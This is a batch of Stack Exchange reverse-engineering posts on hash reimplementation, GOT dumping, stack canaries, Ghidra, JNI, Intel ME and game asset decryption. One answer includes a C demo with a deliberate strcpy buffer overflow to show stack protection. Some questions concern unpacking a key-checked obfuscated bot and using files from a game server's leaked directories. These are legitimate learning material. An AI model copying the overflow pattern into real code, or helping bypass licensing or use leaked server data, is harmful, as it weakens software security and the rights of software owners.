  <row Id="23308" PostTypeId="2" ParentId="23297" CreationDate="2020-02-20T17:35:26.047" Score="0" Body="&lt;p&gt;for an &lt;strong&gt;array x[]&lt;/strong&gt; whose &lt;strong&gt;count is n&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the series for v3 without the mod()  will be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;n * (1 + x[0]) +  (n-1) * x[1] +  (n-2) * x[2] + (n-3) * x[3] + .... (n-r) * x[r] +...+ x[n]  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the series for v2 without the mod() will be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1+x[0]+x[1]+x[2]+....x[r]+...x[n]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming &quot;secret&quot; is passed as input&lt;br&gt;&#xA;then hash will be 0xf72efd78&lt;/p&gt;&#xA;&#xA;&lt;p&gt;redone in python&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input = &quot;secret&quot;&#xA;l = len(input)&#xA;v2 = 0&#xA;v3 = 1&#xA;for i in range(0,l,1):&#xA;    v3 = (ord(input[i]) + v3)&#xA;    v2 = v3 + v2&#xA;    print(hex(v2),hex(v3))&#xA;print (&quot;hash for input %s = %08x&quot; %(input,(~(v2 &amp;lt;&amp;lt; 16 | v3)) &amp;amp; 0xffffffff))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x74 0x74  &#xA;0x14d 0xd9 &#xA;0x289 0x13c&#xA;conforming the series for v2&#xA;&amp;gt;&amp;gt;&amp;gt; hex( 3 * (1 + ord(&quot;secret&quot;[0])) + 2 * ord(&quot;secret&quot;[1]) + 1 * ord(&quot;secret&quot;[2]))&#xA;'0x289'&#xA;0x437 0x1ae&#xA;0x64a 0x213&#xA;0x8d1 0x287&#xA;hash for input secret = f72efd78&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-02-20T17:35:26.047" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23310" PostTypeId="1" CreationDate="2020-02-20T19:54:28.747" Score="5" ViewCount="195" Body="&lt;p&gt;I have a collection of different binaries I want to review for code similarity and classification, but I would rather not have to open each of them in IDA and manually review the code in 15 different samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tools or techniques can I use to automatically classify and determine code similarity/reuse between samples? My first thought is to use ssdeep, but I was wondering if there were any other open source tools or frameworks that could do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to request that a classification tag be added in case there are other people who want to ask questions about classifying files into different groups based on different binary features.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastActivityDate="2023-01-23T01:08:10.973" Title="Review a collection of executable binaries to determine similarity" Tags="|disassembly|binary-analysis|tools|automation|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23311" PostTypeId="1" AcceptedAnswerId="23313" CreationDate="2020-02-21T01:01:35.990" Score="3" ViewCount="7627" Body="&lt;p&gt;I want to see how the plt stubs are being resolved at run time when lazy linking is used and how the GOT is changed along the way. How can I dump the GOT with gdb?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2020-02-21T07:02:41.853" Title="Dumping the GOT with gdb at run time" Tags="|binary-analysis|gdb|elf|plt|got|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23312" PostTypeId="2" ParentId="23305" CreationDate="2020-02-21T03:22:47.207" Score="2" Body="&lt;p&gt;If you've only opened the program in GDB and used &lt;code&gt;run&lt;/code&gt;, then your program will start without stopping to let you debug it. GDB will typically only begin prompting you for input on an exception, signal, or breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you most likely need to do is to set a breakpoint on main, or some other function of interest, and then use run. This will make gdb stop at the breakpoint and prompt you for what to do next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A handy alternative to &lt;code&gt;b main; run&lt;/code&gt; is the &lt;code&gt;start&lt;/code&gt; command. &lt;code&gt;start&lt;/code&gt; will drop a breakpoint at main, or any other appropriate entry point in the binary, and immediately begin running the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb a.out&#xA;...&#xA;&#xA;(gdb) b main&#xA;...&#xA;&#xA;(gdb) run &amp;lt;args&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb a.out&#xA;...&#xA;&#xA;(gdb) start &amp;lt;args&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information and detail is available here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Starting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/Starting.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31172" LastActivityDate="2020-02-21T03:22:47.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23313" PostTypeId="2" ParentId="23311" CreationDate="2020-02-21T06:49:52.987" Score="5" Body="&lt;p&gt;There are a couple of options for this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot; rel=&quot;noreferrer&quot;&gt;pwndbg&lt;/a&gt; or &lt;a href=&quot;https://github.com/hugsy/gef&quot; rel=&quot;noreferrer&quot;&gt;gef&lt;/a&gt;. They have a command called &lt;code&gt;got&lt;/code&gt; which looks like this&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gef➤  got&#xA;&#xA;GOT protection: Partial RelRO | GOT functions: 4&#xA;&#xA;[0x555555755018] free@GLIBC_2.2.5  →  0x555555554606&#xA;[0x555555755020] puts@GLIBC_2.2.5  →  0x555555554616&#xA;[0x555555755028] malloc@GLIBC_2.2.5  →  0x555555554626&#xA;[0x555555755030] sprintf@GLIBC_2.2.5  →  0x555555554636&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; got&#xA;&#xA;GOT protection: Partial RELRO | GOT functions: 4&#xA;&#xA;[0x555555755018] free@GLIBC_2.2.5 -&amp;gt; 0x555555554606 (free@plt+6) ◂— push   0 /* 'h' */&#xA;[0x555555755020] puts@GLIBC_2.2.5 -&amp;gt; 0x555555554616 (puts@plt+6) ◂— push   1&#xA;[0x555555755028] malloc@GLIBC_2.2.5 -&amp;gt; 0x555555554626 (malloc@plt+6) ◂— push   2&#xA;[0x555555755030] sprintf@GLIBC_2.2.5 -&amp;gt; 0x555555554636 (sprintf@plt+6) ◂— push   3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;According to &lt;a href=&quot;https://github.com/pwndbg/pwndbg/blob/cc0c90a4a4599ca6f0470157db5fc78c2708a904/pwndbg/wrappers/readelf.py#L15&quot; rel=&quot;noreferrer&quot;&gt;their&lt;/a&gt; &lt;a href=&quot;https://github.com/hugsy/gef/blob/7bd407a1bb90e34730351715d323bc905275859a/gef.py#L8745&quot; rel=&quot;noreferrer&quot;&gt;sources&lt;/a&gt; both use &lt;code&gt;readelf&lt;/code&gt; as such to display this information&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --relocs ll&#xA;Relocation section '.rela.dyn' at offset 0x4a0 contains 9 entries:&#xA;  Offset          Info           Type           Sym. Value    Sym. Name + Addend&#xA;000000200dd8  000000000008 R_X86_64_RELATIVE                    750&#xA;000000200de0  000000000008 R_X86_64_RELATIVE                    710&#xA;000000201040  000000000008 R_X86_64_RELATIVE                    201040&#xA;000000200fd0  000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0&#xA;000000200fd8  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0&#xA;000000200fe0  000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0&#xA;000000200fe8  000700000006 R_X86_64_GLOB_DAT 0000000000000000 _Jv_RegisterClasses + 0&#xA;000000200ff0  000900000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0&#xA;000000200ff8  000a00000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0&#xA;&#xA;Relocation section '.rela.plt' at offset 0x578 contains 4 entries:&#xA;  Offset          Info           Type           Sym. Value    Sym. Name + Addend&#xA;000000201018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 free@GLIBC_2.2.5 + 0&#xA;000000201020  000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0&#xA;000000201028  000600000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0&#xA;000000201030  000800000007 R_X86_64_JUMP_SLO 0000000000000000 sprintf@GLIBC_2.2.5 + 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then use this output to dump GOT while debugging.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Another method is to use &lt;code&gt;plt&lt;/code&gt; symbols to resolve &lt;code&gt;got&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; disass 'puts@plt'&#xA;Dump of assembler code for function puts@plt:&#xA;   0x0000555555554610 &amp;lt;+0&amp;gt;: jmp    QWORD PTR [rip+0x200a0a]        # 0x555555755020&#xA;   0x0000555555554616 &amp;lt;+6&amp;gt;: push   0x1&#xA;   0x000055555555461b &amp;lt;+11&amp;gt;:    jmp    0x5555555545f0&#xA;End of assembler dump.&#xA;pwndbg&amp;gt; tele 0x555555755020&#xA;00:0000│   0x555555755020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7ffff7aa2f90 (puts) ◂— push   r13&#xA;01:0008│   0x555555755028 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7ffff7ab4f10 (malloc) ◂— push   rbp&#xA;02:0010│   0x555555755030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x7ffff7a892d0 (sprintf) ◂— sub    rsp, 0xd8&#xA;03:0018│   0x555555755038 (data_start) ◂— 0x0&#xA;04:0020│   0x555555755040 (__dso_handle) ◂— 0x555555755040 /* '@PuUUU' */&#xA;05:0028│   0x555555755048 (completed) ◂— 0x0&#xA;... ↓&#xA;pwndbg&amp;gt; print puts&#xA;$13 = {&amp;lt;text variable, no debug info&amp;gt;} 0x7ffff7aa2f90 &amp;lt;_IO_puts&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2020-02-21T07:02:41.853" LastActivityDate="2020-02-21T07:02:41.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23314" PostTypeId="1" CreationDate="2020-02-21T12:23:14.650" Score="-2" ViewCount="5068" Body="&lt;p&gt;I have an executable file, which I am trying to decompile. I have already deduced that it was originally programmed in Python. I know that it was obfuscated with &lt;a href=&quot;https://github.com/dashingsoft/pyarmor&quot; rel=&quot;nofollow noreferrer&quot;&gt;PyArmor&lt;/a&gt; and possibly compiled with &lt;a href=&quot;https://github.com/pyinstaller/pyinstaller&quot; rel=&quot;nofollow noreferrer&quot;&gt;PyInstaller&lt;/a&gt;. I have tried multiple attempts at finding the source code, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using CheatEngine to read the memory&lt;/li&gt;&#xA;&lt;li&gt;Using IDA to read assembler code&lt;/li&gt;&#xA;&lt;li&gt;Using multiple PyInstaller unpackers to get source code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But all of them, to no avail. Is there any way I can get the source code of this file, and if so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Stack Trace I got when I terminated the program with &lt;code&gt;CTRL + C&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;dist/obf\bot.py&amp;gt;&quot;, line 3, in &amp;lt;module&amp;gt;&#xA;  File &quot;&amp;lt;frozen bot&amp;gt;&quot;, line 798, in &amp;lt;module&amp;gt;&#xA;  File &quot;&amp;lt;frozen keyvalidation&amp;gt;&quot;, line 243, in checkStuff&#xA;  File &quot;&amp;lt;frozen keyvalidation&amp;gt;&quot;, line 150, in checkKey&#xA;  File &quot;site-packages\requests\api.py&quot;, line 116, in post&#xA;  File &quot;site-packages\requests\api.py&quot;, line 60, in request&#xA;  File &quot;site-packages\requests\sessions.py&quot;, line 533, in request&#xA;  File &quot;site-packages\requests\sessions.py&quot;, line 646, in send&#xA;  File &quot;site-packages\requests\adapters.py&quot;, line 449, in send&#xA;  File &quot;site-packages\urllib3\connectionpool.py&quot;, line 672, in urlopen&#xA;  File &quot;site-packages\urllib3\connectionpool.py&quot;, line 376, in _make_request&#xA;  File &quot;site-packages\urllib3\connectionpool.py&quot;, line 994, in _validate_conn&#xA;  File &quot;site-packages\urllib3\connection.py&quot;, line 360, in connect&#xA;  File &quot;site-packages\urllib3\util\ssl_.py&quot;, line 370, in ssl_wrap_socket&#xA;  File &quot;ssl.py&quot;, line 412, in wrap_socket&#xA;  File &quot;ssl.py&quot;, line 850, in _create&#xA;  File &quot;ssl.py&quot;, line 1108, in do_handshake&#xA;KeyboardInterrupt&#xA;[36076] Failed to execute script bot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31074" LastEditorUserId="31074" LastEditDate="2020-02-22T18:10:21.200" LastActivityDate="2020-03-20T13:25:54.493" Title="How to decompile obfuscated Python code?" Tags="|decompilation|python|deobfuscation|executable|decompile|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23315" PostTypeId="1" CreationDate="2020-02-21T23:12:05.603" Score="2" ViewCount="193" Body="&lt;p&gt;I’ve been working on reverse engineering this android x86 ELF binary. According to my research when loadLibrary() is called the function JNI_onLoad is supposed to be executed however this binary doesn’t have it. I guess I’m confused on what loadlibrary() is actually doing. How would I find the first function or entry point to this binary?&lt;/p&gt;&#xA;" OwnerUserId="31188" LastActivityDate="2020-02-22T15:32:15.053" Title="What code gets executed in an ELF binary when Java loadLibrary() is called" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23316" PostTypeId="1" CreationDate="2020-02-21T23:22:00.623" Score="7" ViewCount="8350" Body="&lt;p&gt;This is the part of the picoCTF 2019 problem &quot;Investigative Reversing 0&quot;. I've encountered the following code when using Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {&#xA;                    /* WARNING: Subroutine does not return */&#xA;    __stack_chk_fail();&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although I've completed the challenge using this as a guide:&#xA;&lt;a href=&quot;https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Investigative_Reversing_0.md&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Investigative_Reversing_0.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't understand this part of the code and what it does.After a few more detailed search I found two datatype assigned to the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;long in_FS_OFFSET;&#xA;long lVar1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did research combining the code with ‘in_FS_OFFSET’ and ‘__stack_chk_fail()’ and most of them turned up as solution writeups on various CTF problems.Only a minority of them are something else.Such as this:&#xA;&lt;a href=&quot;https://hackaday.io/project/164346-andxor-dc27-badge/log/164366-reverse-engineering-with-ghidra-simtaco-floppy-challenge&quot; rel=&quot;noreferrer&quot;&gt;https://hackaday.io/project/164346-andxor-dc27-badge/log/164366-reverse-engineering-with-ghidra-simtaco-floppy-challenge&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site have very similar de-compiled results, so I'm thinking this part of the code had something to do in protecting the program from stack-overflow.I looked at the source code of the program in the bottom of the site and searched all the c library included, but I found no useful hints.&#xA;I returned to Ghidra and found this undefined function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void UndefinedFunction_00101036(void)&#xA;&#xA;{&#xA;                    /* WARNING: Treating indirect jump as call */&#xA;  (*(code *)(undefined *)0x0)();&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this undefined function have anything to do with my question? If so, what might be the original code be? Thanks in advance for any answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;disassembly part of the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00101380  64 48 33        XOR        sVar2,qword ptr FS:[0x28]&#xA;          04 25 28 &#xA;          00 00 00&#xA;00101389  74 05           JZ         LAB_00101390&#xA;0010138b  e8 d0 fc        CALL       __stack_chk_fail       undefined __stack_chk_fail()&#xA;          ff ff&#xA;                             -- Flow Override: CALL_RETURN (CALL_TERMINATOR)&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        //&#xA;                        // .plt &#xA;                        // SHT_PROGBITS  [0x1020 - 0x109f]&#xA;                        // ram: 00101020-0010109f&#xA;                        //&#xA;                        LAB_00101020            XREF[9]:     0010103b(j), 0010104b(j), &#xA;                                                0010105b(j), 0010106b(j), &#xA;                                                0010107b(j), 0010108b(j), &#xA;                                                0010109b(j), 001020b4, &#xA;                                                _elfSectionHeaders::00000310(*)  &#xA;        00101020 ff 35 6a        PUSH       qword ptr [PTR_00103f90]            = 00000000&#xA;                 2f 00 00&#xA;        00101026 ff 25 6c        JMP        qword ptr [PTR_00103f98]&#xA;                 2f 00 00&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31189" LastEditorUserId="31189" LastEditDate="2020-02-22T01:27:20.153" LastActivityDate="2020-02-22T18:40:07.363" Title="Seeking for explanation about “ in_FS_OFFSET ” and “ __stack_chk_fail() ”" Tags="|decompilation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23317" PostTypeId="2" ParentId="23316" CreationDate="2020-02-22T09:36:44.933" Score="8" Body="&lt;p&gt;fs:0x28 is stack_cookie or stack_canary &lt;/p&gt;&#xA;&#xA;&lt;p&gt;_stk_check_fail() is function that aborts execution &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the compiler places a cookie in the  stack and after returning from a function that manipulates stack it checks and compares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the cookie is corrupted then instead of proceding further the execution is simply terminated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a hardening technique against buffer overflows especially stack smashing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;noreferrer&quot;&gt;compiler explorer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;paste this code select language as c&lt;br&gt;&#xA;leave the compiler version as latest&lt;br&gt;&#xA;add -fstack-protector to compiler options&lt;br&gt;&#xA;and look at the disassembly produced to&#xA;see how stack_canary @ fs:0x28  is used   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;void foo (char *str) {&#xA;    char buff[16];&#xA;    strcpy(buff,str);&#xA;}&#xA;int main(void){&#xA;    printf(&quot;test for __stack_chk_fail\n&quot;);&#xA;    foo(&quot;small str&quot;);&#xA;    printf(&quot;success\n&quot;);&#xA;    foo(&quot;A Big String is Copied to a Small Buffer&quot;);&#xA;    printf(&quot;i wont reach here if stack_chk_fail worked &quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly of above code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo:&#xA;        push    rbp&#xA;        mov     rbp, rsp&#xA;        sub     rsp, 48&#xA;        mov     QWORD PTR [rbp-40], rdi&#xA;        mov     rax, QWORD PTR fs:40&#xA;        mov     QWORD PTR [rbp-8], rax&#xA;        xor     eax, eax&#xA;        mov     rdx, QWORD PTR [rbp-40]&#xA;        lea     rax, [rbp-32]&#xA;        mov     rsi, rdx&#xA;        mov     rdi, rax&#xA;        call    strcpy&#xA;        nop&#xA;        mov     rax, QWORD PTR [rbp-8]&#xA;        xor     rax, QWORD PTR fs:40   &amp;lt;&amp;lt;&amp;lt;&amp;lt;(40=0x28)&#xA;        je      .L2&#xA;        call    __stack_chk_fail&#xA;.L2:&#xA;        leave&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;&#xA;a screenshot showing what is said above to address the comment   &#xA;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sImY1.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sImY1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-02-22T18:40:07.363" LastActivityDate="2020-02-22T18:40:07.363" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23318" PostTypeId="1" CreationDate="2020-02-22T10:25:56.727" Score="1" ViewCount="1951" Body="&lt;p&gt;I'm looking for a way to export all infos about a function (Call signature including custom storage, local symbols, etc) in a ghidra program and import them into another ghidra program, but at a different address, and to do that automatically for 30-50 functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is within the context of a very large game executable, enough so that any form of full analysis is way too cumbersome for my needs, and each game patch shuffles most of the addresses. I already have most of that automated, but through manually defining serialiazation code for function elements like parameters, and was wondering if there was any better way.&lt;/p&gt;&#xA;" OwnerUserId="31191" LastEditorUserId="31191" LastEditDate="2020-02-22T18:02:03.890" LastActivityDate="2024-02-27T13:30:02.013" Title="Exporting/Importing all function info from one ghidra program to another" Tags="|decompilation|ghidra|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23319" PostTypeId="2" ParentId="23315" CreationDate="2020-02-22T14:29:54.123" Score="1" Body="&lt;p&gt;&lt;code&gt;loadLibrary(..)&lt;/code&gt; loads the native library into the current process. Besides the call to &lt;code&gt;JNI_onLoad&lt;/code&gt; this is just a standard library loading as it is done by &lt;code&gt;dlopen(..)&lt;/code&gt;. Note that that as a part of this regular library loading process some code sections in the library may be executed automatically. But that is nothing Java/JNI specific. For more details see &lt;a href=&quot;https://stackoverflow.com/questions/9759880/automatically-executed-functions-when-loading-shared-libraries&quot;&gt;this question on Stackoverflow.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;JNI_onLoad&lt;/code&gt; function is AFAIR optional. It's first parameter is a pointer to the &lt;code&gt;JavaVM&lt;/code&gt; structure that allows to interact with the Java virtual VM, e.g. request memory that is recognized by the garbage collector. Or search and instantiate Java classes from within native code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more important part of loading a native library into a Android/Java process is that it's exported functions are made available to the Java part. Check the Java classes for methods marked as &lt;code&gt;native&lt;/code&gt;. Such methods don't have a method body, instead when they are called a matching (based on the class an method name) native method is executed.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastEditorUserId="1848" LastEditDate="2020-02-22T15:32:15.053" LastActivityDate="2020-02-22T15:32:15.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23324" PostTypeId="1" AcceptedAnswerId="24616" CreationDate="2020-02-23T07:46:39.153" Score="1" ViewCount="379" Body="&lt;ol&gt;&#xA;&lt;li&gt;What is the purpose of partitions &lt;strong&gt;EFFS&lt;/strong&gt; and &lt;strong&gt;FCRS&lt;/strong&gt; on systems with Intel ME 8.x?&lt;/li&gt;&#xA;&lt;li&gt;Is it currently possible to parse data in &lt;strong&gt;EFFS&lt;/strong&gt; partition on a ME image?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope anyone can help, there is so little information about this available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user31201" LastActivityDate="2020-04-07T20:52:43.383" Title="Intel ME partitions EFFS and FCRS?" Tags="|firmware|intel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23325" PostTypeId="1" CreationDate="2020-02-23T08:16:07.670" Score="3" ViewCount="1172" Body="&lt;p&gt;I am trying to extract assets from a Chinese game, I downloaded the apk file and unzipped it. I looked through the files and they are encrypted in some ways, the PNGs and LUAs are unviewable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The engine the game used was called TerransForceEngine which does not show any results in Google Search. I had a look in the lib folder and decided to open up the  libtpnsSecurity.so file because of its name. I opened it in IDA and found some strings that may suggest that the so file is the one containing the encrypting and decrypting algorithms. &lt;a href=&quot;https://i.stack.imgur.com/QAFkH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAFkH.png&quot; alt=&quot;IDA Functions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I have no experience in using IDA. I have tried following other topics but they are usually about games which use Cocos2D and I couldn't follow the steps provided in said topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game's server leaked its Directories and I downloaded a few files with wget, there are php files and one of them is xxtea.php which is just a source code of the algorithm. I attached leak files here: &lt;a href=&quot;https://www.dropbox.com/s/wkxs4s3v9wwf5ym/leak.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/wkxs4s3v9wwf5ym/leak.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .so file, lib folder containing others .so files, example lua and png files can be download here: &lt;a href=&quot;https://www.dropbox.com/s/alj37ai7qd4lmqh/game.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/alj37ai7qd4lmqh/game.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31203" LastActivityDate="2021-04-25T23:04:10.350" Title="Decrypting some possibly XXTEA encrypted lua/game files" Tags="|ida|game-hacking|lua|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23326" PostTypeId="2" ParentId="23324" CreationDate="2020-02-23T12:37:00.607" Score="1" Body="&lt;p&gt;I have not encountered FCRS but EFFS is the legacy Flash Filesystem partition, used to store configuration and runtime ME data. The only known tool that can parse it (besides ME firmware itself) is Intel’s Flash Image Tool (FIT) for the corresponding firmware version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the format is likely very similar to that of the newer MFS in ME 11 and later, so possibly the research on MFS would help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/docs/eu-17/materials/eu-17-Sklyarov-Intel-ME-Flash-File-System-Explained-wp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ME Flash File System Explained&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ptresearch/parseMFS&quot; rel=&quot;nofollow noreferrer&quot;&gt;ME EFS parser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-23T12:37:00.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23327" PostTypeId="2" ParentId="23314" CreationDate="2020-02-23T12:41:59.850" Score="1" Body="&lt;p&gt;From the “frozen” text in the stack trace, it was probably processed with cx_Freeze or a similar tool. Usually they put the compiled Python files into a zip file embedded into the executable, so try looking for one (e.g. with binwalk)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-23T12:41:59.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23328" PostTypeId="1" CreationDate="2020-02-23T18:00:50.503" Score="1" ViewCount="378" Body="&lt;p&gt;I am trying to reverse engineer a heavily obfuscated web application, and I would like to modify the JS to add logging. So far, I've set up mitmproxy, but I can't figure out what the best way to edit the JS files is. Ideally this would be done in a way where I can save the edits and have them automatically apply when I refresh the page.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2020-02-23T18:00:50.503" Title="How to modify JS with mitmproxy?" Tags="|javascript|websites|proxy|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
